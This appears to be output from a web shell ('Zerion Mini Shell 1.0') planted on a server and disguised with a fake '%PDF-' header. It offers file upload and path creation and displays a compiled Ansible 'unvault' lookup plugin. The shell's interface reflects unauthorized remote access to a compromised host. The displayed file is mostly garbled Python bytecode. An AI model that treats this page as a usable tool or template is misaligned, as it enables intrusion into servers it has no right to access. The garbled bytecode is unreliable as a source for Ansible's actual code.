%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3.9/site-packages/ansible/plugins/lookup/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3.9/site-packages/ansible/plugins/lookup/__pycache__/unvault.cpython-39.pyc

a

�)g��@snddlmZmZmZeZdZdZdZddl	m
Z
ddlmZddl
mZddlmZe�ZGd	d
�d
e�ZdS)�)�absolute_import�division�print_functiona�
    name: unvault
    author: Ansible Core Team
    version_added: "2.10"
    short_description: read vaulted file(s) contents
    description:
        - This lookup returns the contents from vaulted (or not) file(s) on the Ansible controller's file system.
    options:
      _terms:
        description: path(s) of files to read
        required: True
    notes:
      - This lookup does not understand 'globbing' nor shell environment variables.
z�
- ansible.builtin.debug: msg="the value of foo.txt is {{ lookup('ansible.builtin.unvault', '/etc/foo.txt') | string | trim }}"
z_
  _raw:
    description:
      - content of file(s) as bytes
    type: list
    elements: raw
)�AnsibleParserError)�
LookupBase)�to_text)�Displayc@seZdZddd�ZdS)�LookupModuleNc
	Ks�g}|j||d�|D]�}t�d|�|�|d|�}t�d|�|r�|jj|dd�}t|d��}|��}	Wd�n1s�0Y|�	t
|	��qtd|��q|S)	N)Zvar_optionsZdirectzUnvault lookup term: %s�fileszUnvault lookup found %sT)Zdecrypt�rbz"Unable to find file matching "%s" )Zset_options�display�debugZfind_file_in_search_pathZvvvvZ_loaderZ
get_real_file�open�read�appendrr)
�selfZtermsZ	variables�kwargs�retZtermZ
lookupfileZactual_file�fZ
b_contents�r�B/usr/lib/python3.9/site-packages/ansible/plugins/lookup/unvault.py�run+s&zLookupModule.run)N)�__name__�
__module__�__qualname__rrrrrr	)sr	N)Z
__future__rrr�typeZ
__metaclass__Z
DOCUMENTATIONZEXAMPLESZRETURNZansible.errorsrZansible.plugins.lookuprZansible.module_utils._textrZansible.utils.displayrrr	rrrr�<module>s

Zerion Mini Shell 1.0